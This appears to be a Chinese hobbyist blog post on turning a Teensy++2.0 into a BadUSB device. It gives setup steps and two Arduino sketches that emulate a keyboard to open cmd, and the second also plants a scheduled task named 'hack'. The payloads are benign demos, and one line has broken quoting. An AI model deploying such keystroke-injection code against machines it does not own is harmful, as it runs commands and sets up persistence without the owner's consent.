BadUSB —— Teensy++2.0

参考http://bbs.pediy.com/showthread.php?t=213719
前几天发现了BadUSB这个好玩的东西,橡皮鸭和烧鹅都买不起就在某宝上买了个Teensy++2.0

1.下载Teensyduino。

https://www.pjrc.com/teensy/td_download.html

2.安装Arduino。我这里安装1.8.0

https://pan.baidu.com/s/1b4jPX8#list/path=%2F&parentPath=%2FArduino

3.安装Teensyduino

注意红色框起来的是支持的Arduino版本。

4.可以插入Teensy++2.0开始搞事了

送份代码:
注意:
1.汉化 file->preferences 选择language为简体中文 2.工具里面要选

代码:

void setup(){ //初始化
  Keyboard.begin();//开始键盘通信
  delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键  
  delay(500);  
  Keyboard.press('r');//按下r键  
  delay(500);  
  Keyboard.release(KEY_LEFT_GUI);//松掉win键  
  Keyboard.release('r');//松掉r键  
  //delay(500);  
  Keyboard.println("cmd");//输入cmd进入DOS
  delay(500);
  Keyboard.press(KEY_RETURN);  //按下回车键
  Keyboard.release(KEY_RETURN); //释放回车键
  delay(500);  
  Keyboard.println("Hello Teensy++2.0"); 
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  delay(500);  
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键  
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
  delay(500); 
  Keyboard.println("exit");
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  Keyboard.end();//结束键盘通讯
} 

void loop()//循环,这里的代码
{ 
//循环体 写入你要循环的代码
}

在附一段代码,在21点打开个txt

void setup(){ //初始化
  Keyboard.begin();//开始键盘通信
  delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键  
  delay(500);  
  Keyboard.press('r');//按下r键  
  delay(500);  
  Keyboard.release(KEY_LEFT_GUI);//松掉win键  
  Keyboard.release('r');//松掉r键  
  //delay(500);  
  Keyboard.println("cmd");//输入cmd进入DOS
  delay(500);
  Keyboard.press(KEY_RETURN);  //按下回车键
  Keyboard.release(KEY_RETURN); //释放回车键
  delay(500);  
  Keyboard.println("D:");
  Keyboard.println("echo I'm back!>a.txt"); 
  Keyboard.println("schtasks /create /tn "hack" /tr "d:a.txt" /sc once /st 21:12"); 
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  delay(500);  
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键  
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
  delay(500); 
  Keyboard.println("exit");
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  Keyboard.end();//结束键盘通讯
} 

void loop()//循环,这里的代码
{ 
//循环体 写入你要循环的代码
}

访问我的蚂蚁笔记博客

原文地址:https://www.cnblogs.com/hojun/p/6492064.html